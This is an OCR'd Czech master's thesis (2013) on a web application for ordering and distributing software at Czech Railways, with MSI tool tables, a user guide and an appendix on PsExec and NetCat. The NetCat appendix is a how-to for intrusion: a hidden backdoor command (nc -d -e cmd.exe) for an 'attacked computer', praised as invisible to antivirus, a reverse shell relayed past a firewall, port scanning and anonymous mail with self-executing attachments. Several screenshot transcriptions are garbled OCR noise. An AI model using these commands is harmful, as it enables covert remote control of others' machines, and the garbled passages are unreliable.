Icon Text 0
InstallExecuteSequence DiskPrompt 11
InstallUlSequence Registration MNo
LaunchCendition UpgradeCode {AGEADESG-0000-0000-484 E-TEBA45000000} E
ListBox ALLUSERS 1
ListView DirectoryTablel00_x86.AFASGEB4 FAGF 335C_ATCE_36079... DirectoryTable
LockFilePermissions Dummy_Microsoft_VC90_CRT x86.0138F525_6C8A _333F_.. 1
LockRegPermissions Dummy_policy_8_0_Microsoft_VC90_CRT »86.52105B6B_... 1 i
MIME AS_REPAIR_VERSION_LIST A
Media e - C76BA86-7AD7-1029-7B44- ABO00D000001 }
ModuleComponents ApplicationUsers AllUsers
ModuleDependency AgreeTolicense Mo
ModuleSignature _IsMaintenance Reinstall
MoveFile SetupType Typical
MsziAssemblhy _IsSetupTypeMin Typical
’ MsiAssemblyMName ARPCONTACT Podpora zékaznikl
MsiDigitalCertificate ARPHELPLINK http://www.adobe.com/support/main.htm|
MesiFileHash ARPREADME ReadMeCZE.htm
Nl MsiPatchCertificate ARPURLINFOABOUT http://www.adobe.com
M:ziSFCBypass ARPURLUPDATEINFO http:/fwww.adobe.com/products/acrobat/readstep.html
Progld DefaultUlFont Tahomad
ErrorDialog SetupError
l RadioButton £ INSTALLLEVEL 100
Reglocator 7 ISSCRIPT_VERSION_MISSING Modul InstallScript na tomto poéitaci chybi. Je-li dostupny, prosim spustte ISScript.re
I Reqistry Manufacturer Adobe Systems Incorporated
|| RemoveFile PIDTemplate 12345 ##8- Nh %A N%%> 2@
RemoveReqistry ProductlD none
ServiceControl Productlangquage 1029
l Servicelnstall ProductMName Adobe Reader X1 - Czech
Shortcut _ ProductVersion 11.000
Signature ProgressTypel install
| SxsMsmGenComponents ProgressTypel Installing -
N TextStyle - |« T b
.|Tah|es: 81 Property - 139 rows Value - Localizable[0]

Obr. 22. Microsoft ORCA

Vlastni balicky MSI je mozno vytvofit pomoci mnoha komer¢nich programt uvedenych

V nasledujici tabulce.

Tab. 28. Seznam programu na tvorbu instalatora

Nazev Vyrobce Popis Licence

Install Time Savage Fly Corp. | Instaldtor pro Windows. UmozZnuje | Shareware
vytvaret, validovat a editovat MSI
balicky.

Advanced Installer Caphyon Ltd. Instalator vydavany v jedné Free +
freewarové a 4 komercnich Shareware

edicich. UmoZnuje vytvéret,
ovérovat a editovat msi balicky.

InstallAware InstallAware Komer¢ni program instalator ve 4 Shareware
Software rozlicnych edicich.

InstallShield Flexera InstallShield je softwarovy nastroj Shareware
Software pro vytvareni instalaci a balicku

primarné pro Microsoft Windows
desktop a server platformy.

InstEdit Google Code InstEd je zdarma nabizeny msi Freeware
editor. Existuje i jeho placena verze
s vice moZnostmi.

IsWiX CodePlex Je instalator s podporou Microsoft
XMLeditoru, kde na zakladé Public



http://en.wikipedia.org/wiki/Freemium

UTB ve Zliné, Fakulta aplikované informatiky, 2013

72

firework frameworku. IsWiX
umoziuje vyvojariim
spolupracovat WiX projekty.

Licence

Microsoft Visual
Studio

Microsoft

Microsoft Visual Studio vytvari
Windows Installer projekty, které
je moZno nasadit jako instalacni
balicky.

Shareware

MSI Studio

ScriptLogic

Msi. Editor nabizi administratorim
moznost optimalizace nebo reedici
jiz existujicich balickd.

Shareware

Orca.exe

Microsoft

Orca.exe je databazovy editor MSI
bali¢kd pro vytvareni, spojovani a
jejich upravy.

Shareware

WiX

CodePlex

WiX (Windows Installer XML)je
sada open-source nastrojl, ktera
pomaha budovat Instalacni sluzbu
Windows Installer z balick
dokumentu XML. Spoustét ji Ize

z ptikazového radku nebo z
Microsoft Visual Studia.
SharpDevelop, je zdarma a open-
source alternativa k Visual Studiu
prevzata WiX.

CP Licence

7-Zip

SourceForge

7-Zip je open source nastroj,
s jehoz pomoci Ize rozbalovat
obsah MSI soubord.

GNU Licence

10.6.2 MS Visual Studio Installer

Pro tvorbu samoinstala¢nich balickt Ize vyuzit MS Visual Studio Installer, pomoci kterého

lze nastavit mnoho parametrii, mezi které patii upravy a editace registrii, nastaveni riznych

podminek k instalaci, vyhledavani soubord a registri vetné jejich parametr ¢i, podpora
skripti a SQL piikaz. Samoziejma je i podpora ASP.NET a sluzby IIS, VBS Skriptl a
.NET COM komponent.

Od verze 2010 je také mozné doinstalovat InstallShield Limited Edition rozsiteni.

Velkou vyhodou pouziti tohoto programu je zndmé uzivatelské prostiedi Visual Studia.

Veskeré moznosti tvorby instalacniho balicku véetné ukazek, jsou uvedeny v knize ,,The

Definitive Guide to Windows Installer [17].
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e Edit View Project Build Debug Tools VMware Test Window Help

!
(- - | %S9 - BB b Release ~ Default - | [# wakeuptable R R el e
[ &)~ Launch Conditions InstallPsExec)” File System (InstallPsExec) | Start Page | - % | Solution Explorer - InstallPsExec -1 x
o 5 g I
2 | [[ 2 File System on Target Machine Name Tgp= | 5 | 5 ef ] 8 P B
] Solution Tnstall ot
2 23 Application Folder 2 Erorlogstt File (5] Solution 'Install’ (1 project)
z 3 Comman Files (64-bit) Folder 2 Pebrerce File & @ InstallPskxec
=) 23 Common Files Folder = . [ Detected Dependencies
H PeExech Shortcut
I= [ [ 2z Fonts Folder I PExechun | orteu
Z? 23 Global Assembly Cache Folder =) PsExeceexe
2 || 3 Program Files (64-bit) Folder
S ||| 3 Program Files Folder
| -3 System Folder
3 User's Desktop

3 User's Programs Menu

3 User's Start Menu
-3 User's Startup Folder
.23 Windows Folder

3] Selution Explorer (57 Class View

Properties T x

PsExecRun File Installation Properties -

(Name) PsExecRun -
Arguments B |
Description
Folder Application Folder 3

(Name)

Specifies the name of the shortcut as it will appear when
installed on a target computer

%7 Properties @ CSS Properties [#; Manage Styles |

|8 Enor List[ g2 Find Symbol Results
Ready

Obr. 23. Microsoft Visual Studio Installer (2008 version)
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ZAVER
Hlavnim cilem této diplomové prace bylo navrhnout a vytvorit webovou aplikaci pro

objednavku a naslednou distribuci software ve spole¢nosti Ceské drahy, a.s. s navaznosti

na pouzivany systém evidence AWCaesar.

V prvni fazi jsem se musel seznamit se stavajicim zptisobem objednévani, schvalovani a
distribuce software napfic celou firmou. Nasledovalo zmapovani situace na trhu, zda
existuje hotovy produkt, ktery poskytuje optimalni feSeni s moznosti napojeni na stavajici
systém evidence. Vysledkem bylo, ze zadny produkt nespliioval tyto pozadavky, a proto
jsem navrhl systém vlastniho feSeni. Na zdklad€ zjiSténych informaci jsem vypracoval
analyzu pomoci ,,USE CASE* diagraml a nasledn¢ ji konzultoval se zadavatelem, zdali
spliiuje vSechny jeho pozadavky. Nasledoval podrobny popis funkénosti pomoci 26
scénarfi.

Vlastni aplikaci jsem implementoval za pomoci webové technologie ASP.NET, jazyka C#
s vyuzitim databaze MS SQL. Pfi vlastnim vyvoji jsem uplatnil znalosti z ptfedchoziho
studia, ziskané pti tvorbé bakalaiské prace a zaroven jsem si rozsifil poznatky z oblasti

sitovych technologii, analyzy, navrhu a vyvoje aplikaci ze studia souc¢asného.

Funkénost celé aplikace byla otestovdna a ovéfena v testovacim reZimu celym tymem IT
oddéleni. V ramci testovani aplikace nevykazovala zadné zavazné chyby. Do praxe bude
systém nasazen ve tietim Gtvrtleti po administrativnich opatienich v celém holdingu CD,

a.s.

Do budoucna je planovano rozsifeni aplikace o moznosti ptfipojeni do SCCM systému S
cilem vyuzit dalS$ich moznosti bezobsluzné instalace. Dal$im planovanym rozsifenim je
moznost zapijcky programi, tedy instalace programi jen na urcité obdobi s naslednou
odinstalaci po uplynulé dob¢. Poslednim V soucasnosti predpokladanym vylepSenim je
roz$iteni nabidky ,,Nova zadost* o popis funkci vybraného programu a tfidéni programi
dle popularity.

Vérim, ze vytvorena aplikace zpfijemni a usnadni zpusob objednavani software
uzivatelim, uSetfi spoleCnosti ¢as a nemalé financni prostfedky a také zptehledni a

zdokumentuje procesy od objednavky az po konecnou instalaci v§ech programu.
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ZAVER V ANGLICTINE

The main objective of this thesis was to design and create a web application for an order
and subsequent distribution of software in the company Czech Railways a. s. in connection

with the used AWCaesar filing system.

In the first stage, | had to familiarize myself with the current way of ordering, approving
and distributing software across the enterprise. Then | surveyed the market, whether there
is a finished product that provides optimal solutions, which can be connected to the
existing system of records. The result was that no product met these requirements, and
therefore | have designed a system of my own solution. Based on the information | have
conducted an analysis using the "USE CASE" diagrams and subsequently | have consulted
with the client, if it fulfilled all the requirements. Then a detailed description of the

functionality using 26 scenarios followed.

I implemented my own application with the help of Web technologies ASP.NET, C # using
MS SQL database. In the software development, | applied the knowledge gained from
previous studies, mainly from creation of my Bachelor's thesis, and also the new
knowledge of network technologies, analysis, design and development of applications,

which | obtained in the present study.

The functionality of the application has been tested and verified in a test mode, the entire
team of IT department. The application testing showed no significant errors. In practice, the
system will be deployed in the third quarter after administrative arrangements across the

holding company CD, a. s.

In the future it is planned to extend the application of connectivity options into SCCM
system with the aim to use other unattended installation options. Another planned
extension is the possibility of lending programs, i.e. installing programs only for a certain
period followed by uninstalling after the elapsed time. The last currently anticipated
improvement is the extension of the "new application” to the selected program functions

description and sorting programs according to their popularity.

I believe that the new application will make ordering software easier to users, it should also
save the company time as well as considerable financial resources and finally I hope it will

document and make transparent processes from order to final installation of all programs.
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SEZNAM PRILOH
Pl Uzivatelské rozhrani a stru¢ny navod
PIl Seznam piepinacii programu tretich stran

PIllL  Obsah CD



PRILOHA P I: UZIVATELSKE ROZHRANI A STRUCNY NAVOD

Pro piistup do aplikace je mozno vyuzit libovolného poéitade s ptipojenim do intranetu CD
a libovolného internetového prohlizece (testovano s IE 9,10, Mozilla Firefox, Safari,

Google Chrome) s rozlisenim alespon 1024x768 (testovano na IPAD 2).

Prihlaseni do aplikace

@ hittp://10.16.1.9/5WShop/login.aspx P ~ B 0 || @ piihlszeni do SW obchodu
Soubor Upravy Zobrazit Oblibené polozky Nastroje  Napovéda

UZivatelské jméno:|cdisinovak

'Uzivatelské jméno zadejte ve tvaru: DOMENA\
prijmeni’

(ED‘) Informacéni Systémy

Clen skupiny €D

Heslo:

[Jzapamatovat si prihlaovaci tdaje

Po zadani URL adresy Webového serveru zadame do polozky ,,Uzivatelské jméno®,
ptihlasovaci jméno ve tvaru ,,Doména\piihlasovaci jméno* a zadame heslo do pfislusné

domény. Pokud uzivatel nema validni ptristup do AD, nelze aplikaci vyuzivat.

Nabidka Uzivatel

Odhlaseni

(a“) Informaéni Systémy

Clen skupiny €D

Novy pozadavek Katalog software

Seznam mych pozadavku

B ovs [ ox ]

Tosese |NetProfiles T Pischl }ggfgy S ==
1saqr | MozillaFirefox 15.0 dipischl  |mpisch 294290 pag || s
;8;; 2(8)1 . Mozilla Autolnstall Autolnstall égogigl S Nainstalovano Storno
};332?)23 Google Chrome 23 Autolnstall Autolnstall 12342323 Nainstalovano Storno
i;g 82(41;3 Adobe Acrobat Autolnstall Autolnstall 123023;3 Nainstalovano Storno
160350 | SDMark 05 Pro . = 16030 |Perizen

Po piihlaseni do systému je uzivateli nabidnuta obrazovka se seznamem jeho zadosti,

vcetnég historie. Pro zpiehlednéni zobrazovanych informaci, jsou zobrazeny vzdy informace



za aktualni rok, tento filtr 1ze vypnout vymazanim roku nebo jeho zménou. Kliknutim na
zéhlavi polozek formulare, Ize tfidit data vzestupné ¢i sestupné. Tlacitkem ,,Storno* lze

nové vytvorenou objednavku zrusit, ovSem jen pokud se nachazi ve stavu pofizeno.

(a“) Informaéni Systémy

Clen skupiny €D

Moje poZadavky Katalog software

Novy pozadavek
Novy zde neuvedeny SW |
Software Pocitace
Norton Ghost 15.0 v[335502739-cdis0000c90067-10.16.1.179 v|

[Poznamka

Nutné pro tvorbu image (pracovni napli) |

Nabidka ,,Novy pozadavek® slouzi k zadani z&dosti na instalaci existujiciho (nabizeného)
software na pridéleny pocita¢ (Seznamy jsou nacitdny z databaze AWCaesar). V poloZce
Software lze vyhleddvat zaddnim textu z klavesnice. Vybér polozky ,Software* a

»Pocitace jsou podminecné, bez nich nelze pozadavek odeslat. Program dale kontroluje,

zdali nedoslo k duplicitni objednavce.

Pokud pozadujeme software neuvedeny V rozbalovacim seznamu, vybereme volbu ,,Novy

zde neuvedeny SW*, kde se nam otevie nova nabidka.



€D informaéni systémy

Clen skupiny €D

Moje pozadavky Novy poZadavek Katalog software

NOVY SOFTWARE

[N4zev software Kategorie
[Andromeda Photographic Tools [Adobe V|
[Poznamka

Plugin kolekci pro Photoshop, nutny pro préci
grafika.

| Odeslat pozadavek

V ptipadé poZadavku na novy software napiSeme do polozky ,,Nazev software® jméno
nového software a muzeme pro lepSi orientaci vyplnit kategorii, pfipadné dodatecné

informace specifikovat do poznamky. Ve potvrdime tlacitkem ,,Odeslat poZadavek*.

(@!) Informacni Systémy

Clen skupiny €D

Moje pofadavky Novy poZadavek

Katalog SW

INazev software Kategorie  Autolnst
Reader [Adobe  v| [

Software ’Kategorie ] MSI Balicek

Adobe Acrobat Reader EN Adobe
Adobe Acrobat Reader 2.10 EN | Adobe
Adobe Acrobat Reader 3.0 EN Adobe
Adobe Acrobat Reader 3.01 EN | Adobe

Adobe Acrobat Reader 4.0 Adobe
Adobe Acrobat Reader 4.0 EN Adobe
Adobe Acrobat Reader 5.0 Adobe

Adobe Acrobat Reader 5.0 CS Adobe

Volba ,,Katalog SW* nam nabidne k prohliZeni seznam veSkerého dostupného software.

Do polozky ,,Nazev software* zadame jméno hledané¢ho programu, kde vybér mizeme



zuzit podle druhu SW pomoci pole ,,Kategorie®. Pti zaskrtnuté volbé ,,Autolnst” se ndm

zobrazi pouze software, pro ktery je pripraven samoinstala¢ni balicek a instaluje se tak

zcela automaticky.

Nabidka Schvalovatel

(@‘, Informacni Systémy

Clen skupiny €D

ky Novy davek talog soft: Sehvélit novy SW Technik Zakoupit novy SW Reporty instalaéni balicky i Role Uty

Moje pozad

Zadosti Schvalovatel

iy paiatone ey sl Pt Mo [ ARS
30 | Schvaiit |

15.3.2013 15:06:48 | McAfee VirusScan 8.8 Enterprise| Autolnstall Potizeno | Zamitnout |
25.3.2013 20:44:21 | |AUDIO Martin Novak | Pofizeno |50 | Schvaiit |[| Zamitnout |
26.3.2013 13:06:17 [ 'VIDEO Martin Novak  |Pofizeno |10 | schvaiit ||| zamitnout |
26.3.2013 13:10:09 | !Easy ScreenSaver Studio 3.0 Martin Novak | Pofizeno 8 l Schvalit I | Zamitnout |
28.3.2013 16:19:25 | uTorrent 1.8 Martin Novak | Pofizeno |10 | Schvaiit |[| Zamitnout |
5.4.2013 21:48:54 | 365dni 6.0 FrantiSek Bednai | Pofizeno 9 I Schvalit | | Zamitnout |
12.4.2013 16:23:50 | 3DMark 03 Frantisek Bedn4f | Pofizeno (99 | schaiit ||| Zamitnout |
15.4.2013 16:03:50 | 3DMark 05 Pro Martin Novak ~ |Pofizeno |10 | schvaiit ||| zamitnout |

v

Uzivateli s pfidélenou roli Schvalovatel je rozSifeno menu o poli¢ko ,,Schvalovatel®,
pomoci n¢j schvaluje ¢i zamitd zobrazované pozadavky. Ponechanim kurzoru mysSi na
polozce se schvalovateli vypiSe poznamka uzivatele. Schvalovatel ma k dispozici také
aktualni pocet dostupnych licenci. Po provedené akci Schvalit nebo Zamitnout je polozka
ze seznamu odstranéna, a je odeslana notifikace uzivateli o stavu e-mailem a Zadost je

predana k instalaci.

=
(w!) Informacni Systémy
Clen skupiny €D
Moje poadavky Novy poZadavek Katalog softy hvalovate! [EENCIRISGARN Technik Zakoupit novy SW Reporty Samoinstalacni balicky Nastaveni Role Uty

Zadosti novy software

Datum pozadavku | Nizev software | Jméno zadatele | Stav zadosti

30.3.2013 20:57:43 | Test123 /null | Martin Novak | Pofizeno Potvrdit ||| Zamitnout

Volba ,,Schvalit novy SW* je totozna s pfedchozim popisem. Pouze v ptipad¢ schvaleni

jde pozadavek na zakoupeni obchodnikovi.



Nabidka Obchodnik

(a” ) Informaéni Systémy

Clen skupiny €D

Novy pozadavek | hvalovatel Schvalit novy W Technik ISR ASNl Reporty instalaéni balicky Nastaveni Role Ugty
Zakoupit novy software
Nazev software Zadatel Schvalovatel | Stav zadosti
2042013 || Axemee Fatogahic Martin Novék |MartinNovak |Schvileno  |20.42013

Nabidka obchodnik slouzi obchodnikovi jako seznam pozadovaného software k nakupu a
zatazeni do evidence. Tlacitkem ,,Zakoupeno* potvrdi, ze pozadovany software byl

zakoupen a uZivateli tak dojde notifikace, Ze poZadavek na nakup byl dokoncen.

Nabidka Technik
=
(tﬂ!’ Informaéni Systémy
Clen skupiny €D
Moje pozadavky Novy pozadavek Katalog stel  Schalit novy SW IR Zakoupit novy SW  Reporty i i baliky Role Uéty
Technik

Datum Nazev Jméno Telefon o e Zména Stav

18.3.2013 |3DMark 03 | ... .. c 21.3.2013 o SRR
12:34 Pro Jifi Pischl -- ¢dis00001c90077 1038 Schvaleno || Prevzit tkol
21.3.2013 ‘Easy Martin 201

55 ScreenSaver | Martin Novak , ¢dis00001c90067 20,2013 Pievzato Nainstalovano
12:45 ; Novak 16:32

Studio 3.0

253201 13D Mark 03 | Martin Novk £ dis00001c90067| 00 3201 | Schvaleno || Prevait o
%323'52013 ;{))01 k Martin Novak -- cdis00001c90067 8(1)192013 Schvaleno || Prevzit ukol
01.4.2013 (#1DVD 2 o Frantisek 5 05.4.2013 | .. .
23.08 Rirpee illx Martin Novak Bednét ¢dis0000lc90067 2148 Pievzato Nainstalovano

Nabidka Technik slouzi IT oddéleni jako seznam ukolii k instalaci. Technik zde vidi
veskeré potfebné tdaje k instalaci a stiskem tlacitka ,,Pfevzit ukol* oznamuje, Ze fesi dany
pozadavek. Ostatni technici takto vidi, které ukoly jsou feSeny a kym. Po dokoncené
instalaci technik potvrdi ukol tladitkem ,,Nainstalovano“ a tadek sukolem zmizi ze

seznamu pozadavk.



Nabidky Administratora

= R
(@‘ ) iInformaéni Systémy
Clen skupiny €D

Moje pofadavky Novy potadavek Katalog software Schvalovatel Schvalit novy SW  Technik Zakoupit novy SW i i balicky i Role Uty

Reporty

Nazev software Zadatel % _C_f'_e_l_l_(g _?LQLB_{?
- stava licence licenci licence
11.42013 | Adobe Acrobat Jifi Pischl Nainstalovano |11.4.2013 7 100 93 X
1142013 [Adobe Acrobat Zdenka_ -- -- Nainstalovano |11.4.2013 7 100 93
Wertheimerova
11.4.2013 | Adobe Acrobat Pavel Pour -- -- Nainstalovano |11.4.2013 7 100 93
11.4.2013 |7-Zip Martin Novak |-- -- Nainstalovano |11.4.2013 1 50 49
11.4.2013 | Google Chrome 23 Jifi Pischl -- -- Nainstalovano |11.4.2013 3 500 497
Frantidek ¢

12.4.2013 [3DMark 03 Bednat -- -- Pofizeno 12.4.2013 1 100 99
15.4.2013 [3DMark 05 Pro Martin Novak |- - -- Pofizeno 15.4.2013 0 10 10
17.42013 | Adobe Acrobat g‘;ﬁ* S Autolnstall [ Nainstalovéno |17.4.2013 7 100 93
17.42013 | Adobe Acrobat g;’gfk o= Autolnstall | Nainstalovéno |17.4.2013 7 100 93
17.4.2013 [ Adobe Acrobat Martin Novak | Autolnstall Autolnstall Nainstalovano |17.4.2013 7 100 93
17.4.2013 [Google Chrome 23 Martin Novék | Autolnstall Autolnstall Nainstalovano |17.4.2013 3 500 497
18.4.2013 |Mozilla Martin Novék | Autolnstall Autolnstall Nainstalovano |18.4.2013 t 100 99
18.4.2013 |Mozilla Firefox 18.0 Martin Novék | Jifi Pischl Jifi Pischl Prevzato 20.4.2013 1 5 4
20.4.2013 [ Net Profiles Martin Novak | Jiii Pischl -- Zamitnuto 20.4.2013 0 10 10 v

Wstup do XML

Administratorovi 1 schvalovateli se pod nabidkou ,Reporty” zobrazi seznam vSech
provedenych pozadavki v systému vcetné informaci o licencich. VSechny tyto informace
1ze vyexportovat do formatu XML do uzivatelem definovaného adresate a zobrazit jej tak

naptiklad v Excelu.

(@!) Informacéni Systémy

Clen skupiny €D

Moje poz Novy pozad Katalog | Schvalit novy SW Technik Zakoupit novy SW Reporty Nastaveni Role Uty

Samoinstalac¢ni balicky

Nizes Sl bk | Parmetey 51 | UinsallGUID | Sbveno | Nosrje |

1AUDIO abede.msi Zménit 1
#1 DVD Ripper 1.1x Zménit

NET Reflector Zménit

602 Mail602 4.1 Zménit

MecAfee VirusScan 8.8 Enterprise Zménit

3D Home Architect 6 Deluxe 3DhomeArch.msi Zménit

Datlink 2.4 Zménit

3DMark 03 Pro Zménit

41010 IDOS Install Zménit

2xExplorer Zménit

602 WinText Zménit

602 M602 3.00 WIN Zménit

3D Garden Designer 3.2 Zménit

602 CALC602 Zménit

!Easy ScreenSaver Studio 3.0 Zménit

3D Flash Animator 4.0 Zménit v
= M|l JIL Il | = Vlozit




Nabidka ,,Samoinstala¢ni balicky* slouzi administratorovi systému K pfifazeni nazvu
software K vytvofenému bezobsluznému balicku. Mimo nazvu souboru, lze vyplnit i
parametry instalace, vcetné odinstalacniho GUID identifikatoru. Zaskrtnutim volby
»Schvaleno™ lze nastavit volbu instalace programi bez nutnosti schvéaleni povéfenym

pracovnikem.

(F_D‘) Informaéni Systémy

Clen skupiny €D

Moje pozadavky Novy poZadavek Katalog software Schvalovatel Schvalit novy SW Technik Zakoupit novy SW Reporty Samoinstalaéni baligky Role Uéty

Typ instalace

10.16.1. Ruéni  v| | Upravit Smazat

ole WMic v |Upravit Smazat

cdis PSExec v Upravit Smazat
I I | Lo ~] | Mlozit

Volbou ,Nastaveni® definuje administrator podminky instalace zvolenym instalatorem.
Vybrany typ instalatoru lze aplikovat na doménu, lokalitu ¢i IP adresu. Takto 1ze naptiklad

vybrat skupinu pocitacl, na které se nebude aplikovat automaticky instalator, ale aplikace

bude instalovana za pomoci technika.

(@l ) Informaéni Systémy

Clen skupiny €D

Moje pozadavky MNovy pozadavek Katalog software Schvalovatel Schvalit novy SW Technik Zakoupit novy SW Reporty i I baligky i Uéty
Role uzivatele

Schvalovatel | Obchodnik | Administrator

- - Auto v v v v Upravit
Autolnstall Auto v v v v Upravit
Martin Novak Be. |cdtel v v ¥ v Upravit
i Pischl cdtel S : i [ v Upravit
Frantisek |Bednai cdtel P oueian R Ry v Upravit
Zdenek Matlocha Ing. |cdtel Upravit
Martin Novak Be. |cdis Vi v v v Upravit
Radmila | Velecka cdtel Vi v Upravit
Zdenka Wertheimerova|Ing. |cdtel v Upravit
Pavel Pour Ing. |cdtel Vi v Upravit
FrantiSek |Bednar cdis v Upravit
Jird Pischl cdis v v Upravit

V této volbé nastavuje administrator systému vybrané uzivatele do vyssich roli.



(E_’J‘) Informacéni Systémy

Clen skupiny €D

Moje ky Novy K g hval | Schvalit novy SW Technik Zakoupit novy SW Reporty laéni baligky i Role [PE

Instalaéni heslo

Password | Domena | Poznamka Nastroje

Volba ,,Uéty” slouzi ke zméné& instalaéniho hesla. Pomoci tohoto uétu automaticky
instalator provadi vzdalené instalace. Jedna se o ucet, ktery ma povéteni instalovat aplikace

ve vSech doménach. (Z diivodi bezpecnosti se poloZzka s heslem nezobrazuje.)



PRILOHA P I1: KONFIGURACNI PREPINACE PROGRAMU
TRETICH STRAN

Program PsExec.

Pocitac- piimé spusténi PsExec na pocitaci, nebo vice vyjmenovanych pocitac¢ich. Pokud

se PsExec spusti bez uvedeni pocitace, spusti se na lokdlnim pocitaci. Pokud spustime

PsExec s timto parametrem "\\*"', PsExec provede piikazy uvedené na fadce dale na vSech

pocitacich v aktualni doméné.

@soubor PsExec spusti piikaz na kazdém pocitaci uvedeném v tomto textovém
souboru.
-a Specifikace, kde uvedeny parametr urcuje, na kterém procesoru pobézi aplikace.

Parametry jsou ¢islovany od 1 az po celkovy pocet jader procesoru. Ptiklad pro

spusténi aplikace na CPU2 a CPU4 zadejte: "'-a 2,4"

Zkopiruje uvedeny program do vzdaleného systému a spusti ho. Bez tohoto

parametru program ocekava uvedeny program v cesté vzdaleného pocitace.

Neceka na ukonceni aplikace. Tato volba je pouze pro aplikace nevyzadujici pfimou

interakci.
Nenacte zadany uzivatelsky profil.

Zkopiruje uvedeny program do vzdalené¢ho systému i v pfipad€, ze uz soubor na

vzdaleném systému existuje.
Spusti program v interakci s desktopem na vzdaleném systému.

Spusti proces jako uZivatel s omezenymi pravy. Na Windows Vista béZi proces s

nizkou integritou.
Specifikuje dobu vyprseni ¢asu vzdaleného ptipojeni v sekundach.

Volba zadani hesla k pfipojeni ve viditelném formatu. Pokud heslo neuvedeme,

systém nas vyzve k jeho zadéani, znaky nebudou zobrazeny.
Spusti vzdaleny proces pod systémovym tctem.

Volba zadani jména uZivatele pro pfipojeni ke vzdalenému pocitaci.



vvvvv

nez na vzdaleném systému.
-W Nastavi pracovni adresar procesu na vzdaleném pocitaci.
-X Zobrazi uzivatelské rozhrani na ptihlasovaci obrazovce pouze v lokalnim systému.

-priority moznosti: -low, -belownormal, -abovenormal, -high nebo -realtime spusti

v

minimem vyuzité paméti a nizké I/O priorité na Windows Vista.

Delsi cestu, ktera obsahuje mezery, vzdy uvadime v uvozovkach pf. psexec \\pocitad

"c:\long name\app.exe".

Ctrl-C Ukon¢i vzdaleny proces.

NETCAT

Funkce Telnet.

Program NetCat nam jako jednu ze svych funkci nabizi vyuZit jej na stejném principu jako
stary znamy Telnet. Sta¢i jen spustit NetCat z piikazové tadky takto: nc -v
www.microsoft.com 80. NetCat se pak napoji za zadany server (v nasem piipadé¢
microsoft) na zadaném portu (80) a my mlzeme se serverem dale komunikovat. Toto
muzeme pouzit napiiklad v pfipad€, Ze madme v imyslu ziskat informace z bannerd. Je to
jednodussi technika, pomoci niz mizeme zjistit verzi softwaru bézicitho na serveru.
Bohuzel tyto miZou byt administratorem zménény a podéavaji pak zavadéjici informace.
Také po sobé pii tomto postupu zanechdvame stopy v systémovych zdznamech, coz neni
vzdy zadouci. Pokud chceme néjaka data odeslat na server automaticky, miizeme k tomu
vyuzit tyto ptiklady zapsané na piikazovém ftadku: echo "get http" | nc -v
www.microsoft.com 80 Pomoci tohoto odeSleme piikaz "get http" pfimo na port 80
webovému serveru Microsoftu. Type email.txt | nc -v smtp.internetonline.cz 25 timto
muzeme na dany server a port odeslat obsah textového souboru. Pomoci uvedeného

prikladu mizeme odeslat anonymni e-mail pifimo na SMTP (port 25) poStovniho serveru.

Jde jen o to, aby byl e-mail vcetné hlavicky a vSech nalezitosti umistén v textovém



souboru. Da se toho vyuzit naptiklad, pokud chceme vytvaret e-maily ve formatu html,

nebo takovych, které obsahuji samo-spustitelné ptilohy.

Funkce skenovani TCP/UDP porti.

Pokud potiebujeme provést skenovani portii, mizeme k tomu rovnéz vyuzit NetCat. Staci,

zadame-li do prikazové fadky tyto piikazy:

nc -v -z 192.168.1.10 1-254 pro skenovani TCP portt.

nc -v -z -u 192.168.1.10 1-254 pro skenovani UDP porta.
Pro detailnéjsi pohled lze s vyhodou pouZzit parametr -vv

Ptepina¢ -z, slouzi pro skenovani TCP porti. S parametrem —u, se budou prohledavat

UDP porty.

Funkce sledovani provozu porti.

Netcat 1ze také vyuzit v situaci, kdy potiebujeme sledovat provoz na nami zvoleném portu.
Pokud potiebujeme zjistit, co se pravé odehrava na portu 139, zaddme: nc -v -L -p139.
Program pak bude naslouchat na portu 139 a zobrazovat hlaseni o pfichozich poZzadavcich.
Pokud spusténim piekryje tuto sluzbu, nebude ptichozi pozadavky propoustét dale, cehoz

se da také n¢kdy vyuzit k zablokovéani sluzby.

Ptepina¢ -l (listen) oznacuje naslouchani. To znamena, ze NetCat bude ¢ekat na ptichozi
spojeni. Pokud potitebujeme, aby se po tomto spojeni NetCat neukoncil, ale pokracoval
dale v naslouchéni, pouzijeme namisto -1 ptepinac¢ -L. Dalsi volba je parametr —p. Pomoci

n¢j nastavime port, na kterém bude program naslouchat.

Funkce zadni vratka do systému.

NetCat neni trojskym koném v pravém slova smyslu. Neposkytne ndm Zadnou z funkci,
jimiz Trojani obvykle oplyvaji. Na otevieni zadnich vratek do systému se vSak hodi
vyborné. Navic ma oproti tradiénim Trojanim jednu velkou vyhodu a to, Ze ho antivirové
firmy nezahrnuji do svych databazi. Miuze proto neviditeln¢ bé&zet na pocitaci s

aktualizovanym antivirem hodné dlouho bez toho, aby si ho né€kdo vSimnul. Vse je



postaveno na principu spusténi NetCatu ve skrytém rezimu tak, aby naslouchal na zadaném
portu a v ptipad¢ pokusu o navazani spojeni spustil pozadovany program (nejcastéji se
bude jednat o piikazovou fadku). NetCat spustime na napadeném pocitaci jako server
takto: nc -L -p1234 -d -e cmd.exe (pfipadné misto cmd.exe zadame command.com)
Ptepinacem -L nastavime NetCat do rezimu naslouchéani na portu zadaném za piepinacem -
p. Prepina¢ -d nastavuje NetCat do skrytého rezimu tzn. tak, aby se o ném uzivatel
nedozveédel. Za piepinacem -e pak uvadime program, ktery se ma pii navazaném spojeni
spustit. Ted” uzZ nam sta¢i se na takto napadeny systém piihldsit pomoci NetCatu (nc
pocitac port) nebo telnetu (telnet pocita¢ port) a vychutnat si praci s ptrikazovou fadkou

napadené¢ho systému.

Funkce presmérovani porti.

Pokud spustime na pocita¢i A NetCat z piikazové fadky parametrem: nc B 80 | nc C 25, na
pocitaci B: nc -vv -l -p80 a na C: nc -vv -| -p25, pak cokoliv zasleme z okna NetCatu na
pocita¢ B, bude odeslano na pocita¢ A. Ten pak tyto data pfesméruje na pocita¢ C. Pokud
chceme ziskat vzdaleny piikazovy fadek za firewallem a pfesmérovat si tak prostiedi,
pouzijeme na pocitaci A tento piikaz: nc B 80 | cmd.exe | nc B 25. Na B si otevieme dvé
relace NetCatu témito ptikazy: nc -vv -1 -p80 a nc -vv -l -p25. Cokoliv nyni napiSeme v
relaci naslouchajici na portu 80 stroje B, bude pfedano ptikazové fadce na pocitaci A, a

vysledek tak bude vracen zpét na port 25 pocitace B (tj. do druhé oteviené relace).

Funkce prenosu souborii.

NetCat muzeme pouzit také k pfenosu souborli z jednoho pocitace na druhy. Pokud na
